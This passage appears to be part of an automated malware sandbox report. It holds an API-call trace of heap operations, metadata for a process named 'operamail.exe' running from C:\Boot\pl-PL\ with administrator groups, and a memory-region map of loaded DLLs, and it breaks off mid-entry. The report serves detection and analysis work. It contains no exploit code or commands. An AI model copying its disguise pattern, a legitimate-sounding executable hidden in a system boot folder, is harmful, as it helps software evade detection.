dwFlags=0x0, lpMem=0x30d5a0) returned 1 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5a0) returned 0x16 [0150.930] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0 | out: hHeap=0x2f0000) returned 1 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd00) returned 1 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd00) returned 0x20 [0150.931] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd00 | out: hHeap=0x2f0000) returned 1 [0150.931] GetProcessHeap () returned 0x2f0000 [0150.931] GetProcessHeap () returned 0x2f0000 [0150.931] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x329bd0) returned 1 [0150.931] GetProcessHeap () returned 0x2f0000 [0150.931] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x329bd0) returned 0x82 [0150.931] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x329bd0 | out: hHeap=0x2f0000) returned 1 [0150.931] GetProcessHeap () returned 0x2f0000 [0150.931] GetProcessHeap () returned 0x2f0000 [0150.931] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccd0) returned 1 [0150.931] GetProcessHeap () returned 0x2f0000 [0150.931] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccd0) returned 0x20 [0150.932] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccd0 | out: hHeap=0x2f0000) returned 1 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5e0) returned 1 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5e0) returned 0xe [0150.932] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5e0 | out: hHeap=0x2f0000) returned 1 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cca0) returned 1 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cca0) returned 0x20 [0150.932] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cca0 | out: hHeap=0x2f0000) returned 1 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.932] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d600) returned 1 [0150.932] GetProcessHeap () returned 0x2f0000 [0150.933] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d600) returned 0xc [0150.933] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d600 | out: hHeap=0x2f0000) returned 1 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc70) returned 1 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc70) returned 0x20 [0150.933] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc70 | out: hHeap=0x2f0000) returned 1 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d620) returned 1 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d620) returned 0xe [0150.933] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d620 | out: hHeap=0x2f0000) returned 1 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc40) returned 1 [0150.933] GetProcessHeap () returned 0x2f0000 [0150.933] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc40) returned 0x20 [0150.934] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc40 | out: hHeap=0x2f0000) returned 1 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d640) returned 1 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d640) returned 0x10 [0150.934] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d640 | out: hHeap=0x2f0000) returned 1 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc10) returned 1 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc10) returned 0x20 [0150.934] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc10 | out: hHeap=0x2f0000) returned 1 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba30) returned 1 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba30) returned 0x18 [0150.934] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba30 | out: hHeap=0x2f0000) returned 1 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.934] GetProcessHeap () returned 0x2f0000 [0150.935] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a20) returned 1 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.935] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a20) returned 0x20 [0150.935] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a20 | out: hHeap=0x2f0000) returned 1 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.935] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a50) returned 1 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.935] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a50) returned 0x20 [0150.935] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a50 | out: hHeap=0x2f0000) returned 1 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.935] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a80) returned 1 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.935] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a80) returned 0x20 [0150.935] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a80 | out: hHeap=0x2f0000) returned 1 [0150.935] GetProcessHeap () returned 0x2f0000 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ab0) returned 1 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ab0) returned 0x20 [0150.936] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ab0 | out: hHeap=0x2f0000) returned 1 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba50) returned 1 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba50) returned 0x18 [0150.936] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba50 | out: hHeap=0x2f0000) returned 1 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ae0) returned 1 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ae0) returned 0x20 [0150.936] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ae0 | out: hHeap=0x2f0000) returned 1 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.936] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b70) returned 1 [0150.936] GetProcessHeap () returned 0x2f0000 [0150.937] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b70) returned 0x20 [0150.937] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b70 | out: hHeap=0x2f0000) returned 1 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bd0) returned 1 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305bd0) returned 0x20 [0150.937] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bd0 | out: hHeap=0x2f0000) returned 1 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c30) returned 1 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c30) returned 0x20 [0150.937] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c30 | out: hHeap=0x2f0000) returned 1 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] GetProcessHeap () returned 0x2f0000 [0150.937] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c60) returned 1 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c60) returned 0x20 [0150.938] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c60 | out: hHeap=0x2f0000) returned 1 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba70) returned 1 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba70) returned 0x18 [0150.938] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba70 | out: hHeap=0x2f0000) returned 1 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ba0) returned 1 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ba0) returned 0x20 [0150.938] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ba0 | out: hHeap=0x2f0000) returned 1 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9f0) returned 1 [0150.938] GetProcessHeap () returned 0x2f0000 [0150.938] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9f0) returned 0x18 [0150.939] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9f0 | out: hHeap=0x2f0000) returned 1 [0150.939] exit (_Code=0) Thread: id = 174 os_tid = 0xc78 Process: id = "42" image_name = "operamail.exe" filename = "c:\\boot\\pl-pl\\operamail.exe" page_root = "0x41c35000" os_pid = "0xc88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Boot\\pl-PL\\operamail.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3843 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3844 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3845 start_va = 0x180000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3846 start_va = 0xa10000 end_va = 0xae5fff monitored = 1 entry_point = 0xadd67e region_type = mapped_file name = "operamail.exe" filename = "\\Boot\\pl-PL\\operamail.exe" (normalized: "c:\\boot\\pl-pl\\operamail.exe") Region: id = 3847 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3848 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3849 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3850 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3851 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3852 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3853 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4462 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4463 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4464 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4465 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4496 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4497 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4498 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4502 start_va = 0xc0000 end_va = 0x126fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4503 start_va = 0x280000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4504 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 4505 start_va = 0x460000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 5020 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5021 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5022 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5023 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5024 start_va = 0x660000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 5025 start_va = 0x460000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 5026 start_va = 0x5e0000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5027 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5028 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5329 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5330 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5331 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5332 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5333 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5334 start_va = 0x130000 end_va = 0x158fff monitored = 0 entry_point = 0x131010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5335 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 5336 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 5337 start_va = 0x130000 end_va = 0x158fff monitored = 0 entry_point = 0x131010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5338 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5339 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5340 start_va = 0x830000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 5341 start_va = 0xaf0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 5342 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5343 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5344 start_va = 0x280000 end_va = 0x34ffff monitored = 1 entry_point = 0x34d67e region_type = mapped_file name = "operamail.exe" filename = "\\Boot\\pl-PL\\operamail.exe" (normalized: "c:\\boot\\pl-pl\\operamail.exe") Region: id = 5345 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 5346 start_va = 0x280000 end_va = 0x34ffff monitored = 1 entry_point = 0x34d67e region_type = mapped_file name = "operamail.exe" filename = "\\Boot\\pl-PL\\operamail.exe" (normalized: "c:\\boot\\pl-pl\\operamail.exe") Region: id = 5347 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5348 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5349 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5468 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5469 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5470 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5597 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 5598 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 5599 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 5600 start_va = 0x7fe907f0000 end_va = 0x7fe907fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe907f0000" filename = "" Region: id = 5601 start_va = 0x7fe90800000 end_va = 0x7fe9080ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90800000" filename = "" Region: id = 5602 start_va = 0x7fe90810000 end_va = 0x7fe9089ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5603 start_va = 0x7fe908a0000 end_va = 0x7fe9090ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908a0000" filename = "" Region: id = 5604 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 5605 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5606 start_va = 0x1ef0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 5607 start_va = 0x2020000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 5608 start_va = 0x2050000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 5609 start_va = 0x21d0000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 5610 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5700 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 5701 start_va = 0x2250000 end_va = 0x1a24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5702 start_va = 0x1a250000 end_va = 0x1a5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a250000" filename = "" Region: id = 5703 start_va = 0x1a5d0000 end_va = 0x1a6d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5d0000" filename = "" Region: id = 5704 start_va = 0x1a7d0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 5705 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5837 start_va = 0x1a8d0000 end_va = 0x1a9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8d0000" filename = "" Region: id = 5838 start_va = 0x1aa00000 end_va = 0x1aafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa00000" filename = "" Region: id = 5839 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6225 start_va = 0x1ab00000 end_va = 0x1adcefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6226 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = 